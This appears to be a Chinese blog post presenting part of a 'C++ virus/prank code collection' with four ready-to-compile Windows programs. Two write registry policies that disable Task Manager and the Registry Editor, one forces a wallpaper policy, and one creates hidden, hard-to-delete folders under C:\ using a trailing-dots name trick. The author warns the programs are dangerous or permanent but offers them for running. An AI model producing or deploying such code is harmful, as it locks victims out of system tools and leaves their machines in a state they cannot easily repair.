c++病毒/恶搞代码大全( 下 )

注：以下代码应勿用于非法（Dev-c++5.11实测可用）

警告:以下为危险/永久性程序，请慎重使用

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

10.

效果:桌面壁纸

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

11.

效果:不可删除文件

解决方法：将51-52行换成52行

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuck[4] = { "你", "好", "世", "界" };
    int FuckLen = sizeof(Fuck) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FuckLen; x++)
    {
        SetImmunity("c://", Fuck[x]);
        //ClearImmunity("c://", Fuck[x]);
    }
 
    system("pause");
    return 0;
}